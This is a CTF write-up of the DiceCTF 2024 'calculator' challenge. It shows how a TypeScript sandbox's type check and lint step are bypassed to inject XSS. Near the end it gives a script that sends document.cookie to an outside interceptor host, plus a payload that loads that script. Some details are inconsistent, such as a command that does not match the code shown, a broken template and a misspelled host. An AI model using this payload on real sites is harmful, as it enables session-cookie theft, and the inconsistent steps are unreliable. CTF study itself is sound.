DiceCTF 2024 qualifications Calculator Writeup

Published: September 19, 2025, updated: September 19, 2025

This is a writeup for the DiceCTF 2024 Calculator challenge.

Challenge notes

web/calculator BrownieInMotion 45 solves / 126 points

beep boop

calculator.mc.ax [link]

Admin Bot [link]

Downloads calculator.tar.gz [link]

URLs

Files

The calculator.tar.gz archive contains these files:

calculator
├── Dockerfile
├── adminbot_test.js
├── index.ts
├── jail
│   ├── index.ts
│   ├── project.ts
│   ├── queue.ts
│   └── sanitize.ts
├── package-lock.json
└── package.json

Libraries

Reviewing the npm package dependencies in package.json, here are some notable dependencies:

npm isolates

Here’s what isolated-vm does, from the npm page:

isolated-vm – Access to multiple isolates in nodejs

isolated-vm is a library for nodejs which gives you access to v8’s Isolate interface. This allows you to create JavaScript environments which are completely isolated from each other. This can be a powerful tool to run code in a fresh JavaScript environment completely free of extraneous capabilities provided by the nodejs runtime.

The calculator express server uses version 4.7.2 of isolated-vm.

isolated-vm provides these classes for using v8 the Isolate interface:

  1. The Isolate class gives you an interface to the v8 isolate class.
  2. Context objects live within an Isolate objects.
  3. Script objects run inside a Context object.
  4. A Module object is something that an Isolate compiles from code.
  5. A Callback object create references to functions between isolates
  6. A Reference object points at a value inside an isolate.
  7. Instances from the ExternalCopy class point at outside values that you can copy into anIsolate.

Initial analysis

The adminbot_test.js file shows how the admin bot visits pages with the flag cookie set:

export default {
  name: "calculator admin bot",
  timeout: 15_000,
  handler: async (url, ctx) => {
    const page = await ctx.newPage();
    await page.setCookie({
      name: "flag",
      value: flag.trim(),
      domain: "calculator.mc.ax",
    });
    await page.goto(url, { timeout: 5000, waitUntil: "domcontentloaded" });
    await sleep(5000);
  },
};

The goal is to make the admin bot visit the calculator page and steal the contents of this cookie.

Program flow

Here’s what the server index.ts does when you send it a request at /:

  1. The / endpoint receives the q query parameter.
  2. runQuery evaluates q (more on that later).
  3. The / endpoint displays the results of runQuery as message.
  4. The endpoint shows the runQuery results after sanitizing them inside the q <input> HTML field
const sanitize = (code: string): string => {
  return code
    .replaceAll(/</g, "&lt;")
    .replaceAll(/>/g, "&gt;")
    .replaceAll(/"/g, "&quot;");
};

The sanitizer replaces <>" with &lt;&gt;&quot; respectively.

const runQuery = async (query: string): Promise<string> => {
  if (query.length > 75) {
    return "equation is too long";
  }

  try {
    const result = await run(query, 1000, "number");

    if (result.success === false) {
      const errors: string[] = result.errors;
      return sanitize(errors.join("\n"));
    } else {
      const value: number = result.value;
      return `result: ${value.toString()}`;
    }
  } catch (error) {
    return "unknown error";
  }
};

Here’s what the runQuery function does:

  1. It cuts of the query if it’s longer than 75 characters.
  2. It passes query to an async function run from the ./jail package.
  3. run returns a object containing .success, a boolean, .errors, a string array of errors, and .value, a number, if the calculation was successful
  4. When an error occurs during run, it sets result.success to false and populates result.errors. Then, the result of runQuery contains all the errors joined together by newlines and is then run through the same sanitizer used to sanitize the q <input> HTML field.
  5. When no error occurs, runQuery converts result.value into a string and returns it with the format result: $VALUE

Jail package structure

The run function is inside the jail package. Here’s the structure of the jail package:

Code sanitization in the jail

// jail/sanitize.ts
// […]
const parse = (text: string): Result<string> => {
  const file = ts.createSourceFile("file.ts", text, ScriptTarget.Latest);
  if (file.statements.length !== 1) {
    return {
      success: false,
      errors: ["expected a single statement"],
    };
  }

  const [statement] = file.statements;
  if (!ts.isExpressionStatement(statement)) {
    return {
      success: false,
      errors: ["expected an expression statement"],
    };
  }

  return {
    success: true,
    output: ts
      .createPrinter()
      .printNode(EmitHint.Expression, statement.expression, file),
  };
};

export const sanitize = async (
  type: string,
  input: string,
): Promise<Result<string>> => {
  if (/[^ -~]|;/.test(input)) {
    return {
      success: false,
      errors: ["only one expression is allowed"],
    };
  }

  const expression = parse(input);

  if (!expression.success) return expression;

  const data = `((): ${type} => (${expression.output}))()`;
  const project = new VirtualProject("file.ts", data);
  const { errors, messages } = await project.lint();

  if (errors > 0) {
    return { success: false, errors: messages };
  }

  return project.compile();
};

The jail package makes sure that the input complies with the following requirements:

  1. The input contains a single statement in parse(text).
  2. The input contains an expression in parse(text).
  3. The input contains at most one expression in sanitize(type, input)
  4. The input contains only printable characters, except for a semicolon in sanitize(type, input).

The sanitize(type, input) function then puts this input into the following template:

((): number =>${expression.output}))()

Code execution in the jail

// jail/index.ts
// […]
export const run = async <T extends keyof RunTypes>(
  code: string,
  timeout: number,
  type: T,
): Promise<RunResult<T>> => {
  const result = await sanitize(type, code);
  if (result.success === false) return result;
  return await queue.queue<RunResult<T>>(async (isolate) => {
    const context = await isolate.createContext();
    return Promise.race([
      context.eval(result.output).then(
        (output): RunResult<T> => ({
          success: true,
          value: output,
        }),
      ),
      new Promise<RunResult<T>>((resolve) => {
        setTimeout(() => {
          context.release();
          resolve({
            success: false,
            errors: ["evaluation timed out!"],
          });
        }, timeout);
      }),
    ]);
  });
};

I now look at the run(code, timeout, type) function in jail/index.ts. To sum it up, it’s a complicated way of performing a regular JavaScript eval().

Here are some more ideas:

To test if file access is possible at all, I run lstat /etc inside an isolate:

require("child_process");

To get back to the problem that you need to solve, here’s what should happen:

  1. You read out the cookie from document.cookie
  2. You do something with that cookie, like send it somewhere (using XSS)

We can inject a script on behalf of the admin bot through a query, yes. But, the jail package sanitizes any script when an error is returned, or it sanitizes it when it evaluates the script.

Here are the two possible information flows:

  1. For a valid query, the result has to be a number (as assertion not allowed), and jail/sanitize.ts:sanitize then sanitizes it.
  2. For an invalid query, the result might contain a XSS payload, but index.ts:sanitize then sanitizes it.

You can smuggle in an XSS payload in two places, but both of these appear to be hardened.

    <input type="text" name="q" value="${sanitize(query)}">
    <input type="submit">
</form>
<p>${message}</p>

To mix things up, I try the following payload:

(() => true)() && 0;

Submitting this through the admin bot gives the response

[object Object]

This looks promising.

Yet, [object Object] comes from an error and isn’t what we need to return an XSS payload.

Exploring the type smuggling vulnerability

Testing reveals that Object.defineProperty can bypass type restrictions and pollute the Object prototype:

[(Object.prototype.toString = () => "true")].length;
// -> 1

Setting global variables:

[Object.defineProperty(globalThis, "1", {})].length;
// -> 1

Here’s how you can override the return value of length to return a string:

Object.defineProperty(globalThis.Array, "length", { value: "asd" }).length;
// -> "asd"

This returns "asd" instead of a number, allowing string injection.

Developing the payload

The payload needs to work within the 75-character limit:

Object.defineProperty(Array, "length", { value: "<i>asd</i>" }).length;
// -> "<i>asd</i>"

This renders <i>asd</i> in the response. I then try refining this payload to so that it can become a proper XSS payload.

Object.defineProperty(Array, "length", { value: "<script>1</script>" }).length;
// -> "<script>1</script>"

A prototype pollution based XSS payload with this code would become too long and break the 75 character limit. I decide to look at the linting step.

Final payload

The trick is to prevent ESLint from complaining about type assertions using the eslint-disable comment. This tells ESLint to not check the rest of the code.

I upload a script to my website so that you can download it from https://www.justus.pw/s.js. This lets me keep the payload length short. I run a RequestBin type request interceptor on dicectf2024.free.beecepter.com. Here’s the script:

var i = new Image();
i.src = "https://dicectf2024.free.beeceptor.com/?" + document.cookie;

Here’s the final payload:

/*eslint-disable*/<any>"<script src=//justus.pw/s.js></script>"

Tags

I would be thrilled to hear from you! Please share your thoughts and ideas with me via email.

Back to Index